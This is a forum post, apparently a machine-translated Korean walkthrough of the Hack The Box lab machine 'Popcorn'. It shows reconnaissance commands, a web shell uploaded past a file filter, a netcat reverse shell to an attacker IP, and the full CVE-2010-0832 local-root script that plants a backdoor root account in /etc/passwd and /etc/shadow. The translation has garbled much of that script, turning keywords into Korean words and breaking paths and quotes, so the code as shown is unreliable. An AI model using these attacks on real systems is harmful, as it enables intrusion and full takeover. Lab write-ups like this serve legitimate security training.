KoreanHackerTeam
Moderator
Hack The Box —— Popcorn

信息搜集
nmap
1NMAP -T4 -A -V 10.10.10.6
서버가 HTTP 서비스에 액세스하기 위해 22 포트 및 80 포트 브라우저를 열었고 Apache의 기본 페이지 만 있음을 발견했습니다.
目录扫描
Dirsearch 도구를 사용하여 디렉토리의 물결을 스캔합니다.1
Python3 dirsearch -u http://10.10.10.6 -e html
test.php 페이지 및 토런트 디렉토리를 발견하고 토런트 디렉토리에 대한 디렉토리 스캔을 수행 한 다음 업로드 업로드 디렉토리에 액세스 할 수 있고 index.php 페이지가 동시에 존재하는지 확인하십시오.
功能点搜索
이 웹 사이트는 BT 시드 포럼 사이트, 등록 된 사용자이며 업로드 페이지를 발견했습니다.

漏洞利用
업로드 시점에서 웹 쉘을 업로드하려고 시도했지만 실패한 것을 발견했습니다. 프로그램이 업로드 된 파일이 표준 BT 시드 파일인지 여부를 감지했으며 필터링을 우회하지 않았다고 추측했습니다.일반 BT 시드 파일을 계속 업로드하고 추가 테스트 :

업로드 된 시드 페이지가 스크린 샷 아이콘 업로드 포인트에 존재한다는 것을 알았습니다.
웹 쉘을 업로드 한 후 성공적으로 업로드 한 것을 발견했습니다.


업로드 디렉토리를 방문하여 웹 쉘의 주소를 가져옵니다.

주방 나이프 연결 :

사용자의 깃발을 성공적으로 얻었습니다.

동시에 홈 디렉토리에 .cache 폴더가 있습니다. 입력 후 MOTD.legal-displayed 파일을 찾을 수 있습니다.

검색 엔진을 사용하여 관련 문서를 검색하고 다음을 찾으십시오.

Linux PAM 1.1.0 (Ubuntu 9.10/10.04) - MOTD File Tampering Privilege Escalation (2)
Linux PAM 1.1.0 (Ubuntu 9.10/10.04) - MOTD File Tampering Privilege Escalation (2). CVE-2010-0832 . local exploit for Linux platform
네이티브 : NC -L 4444
희생자 기계 : NC -E /BIN /BASH 10.10.14.10 4444
주방 나이프 :을 사용하여 exp 스크립트를 업로드하십시오
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
스물 하나
스물 두 번째
스물 셋
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#!/bin/bash
틀
# Exproit Title: Ubuntu Pam Motd 로컬 루트
# 날짜 : 2010 년 7 월 9 일
# author: 익명
# 소프트웨어 Link: http://packages.ubuntu.com/
# 버전 : PAM-1.1.0
# : Ubuntu 9.10 (Karmic Koala), Ubuntu 10.04 LTS (Lucid Lynx) 테스트
# CVE: CVE-2010-0832
# 패치 명령어 : Sudo Aptitude -y 업데이트; sudo aptitude -y 설치 libpam ~ n ~ i
# 참조 : http://www.exploit-db.com/exploits/14273/Kristian Erik Hermansen
P='TOOR:X333333333:ROOT:/root:/bin/bash'
S='toor: $ 6 $ tpurrlw7 $ m0bvnoys9fef9/lzv6pqospujokt0giv.7jngrcbwc1xdhmlbntwlkyzhz.v ZWCCYQU5Q2DLX.CI7NQTSNZ13:14798333333333333333333333333333333333333333333333333333333333: '
Echo '[*] Ubuntu Pam Motd Local Root'
[-z '$ (ssh)'] echo '[ -] ssh는 요구 사항입니다.
[-z '$ (ssh-keygen)'] echo '[-] ssh-keygen은 요구 사항입니다.
[-z '$ (ps -u root | grep sshd)'] echo '[ -] 실행되는 sshd는 요구 사항입니다.
백업 () {
[-e '$ 1'] [-e '$ 1'.bak] rm -rf'$ 1'.bak
[-e '$ 1'] || 반환 0
mv '$ 1'{, bak} || 반환 1
echo '[*] 백업 $ 1'
}
복원하다() {
[-e '$ 1'] rm -rf '$ 1'
[-e '$ 1'.bak] || 반환 0
MV '$ 1'{. bak,} || 반환 1
echo '[*] $ 1'복원
}
key_create () {
백업 ~/.ssh/alopporized_keys
ssh -keygen -q -t rsa -n ''-c 'pam'-f '$ key'|| 반환 1
[! -d ~/.ssh] {mkdir ~/.ssh || 반환 1; }
mv '$ key.pub'~/.ssh/alusized_keys || 반환 1
echo '[*] ssh 키 설정'
}
key_remove () {
rm -f '$ 키'
복원 ~/.ssh/alopporized_keys
Echo '[*] SSH 키 제거' '
}
소유하다() {
[-e ~/.cache] rm -rf ~/.cache
ln -s '$ 1'~/.cache || 반환 1
echo '[*] spawn ssh'
ssh -o 'nohostauthenticationforlocalhost 예'-i '$ key'localhost true
[-w '$ 1'] || {echo '[-] 소유 $ 1 실패'; 복원 ~/.cache; 안녕; }
echo '[+] 소유 : $ 1'
}
안녕() {
key_remove
출구 1
}
key='$ (mktemp -u)'
key_create || {echo '[-] SSH 키를 설정하지 못했습니다'; 출구 1; }
백업 ~/.cache || {echo '[-] 백업에 실패 ~/.cache'; 안녕; }
자신의 /etc /passwd echo '$ p' /etc /passwd
자신의 /etc /섀도우 echo '$ s' /etc /shadow
복원 ~/.cache || {echo '[-]는 ~/.cache'를 복원하지 못했습니다. 안녕; }
key_remove
Echo '[+] 성공! 루트를 얻으려면 암호 토르를 사용하십시오 '
su -c 'sed -i'/toor:/d '/etc/{passwd, 섀도우}; chown root: /etc /{passwd, shadow}; \
chgrp 그림자 /etc /섀도우; nscd -i passwd /dev /null 21; Bash 'Or
스크립트 실행 권한을 제공하십시오.
1
chmod + x 1.sh
스크립트를 실행하고 루트 권한을 얻으십시오.

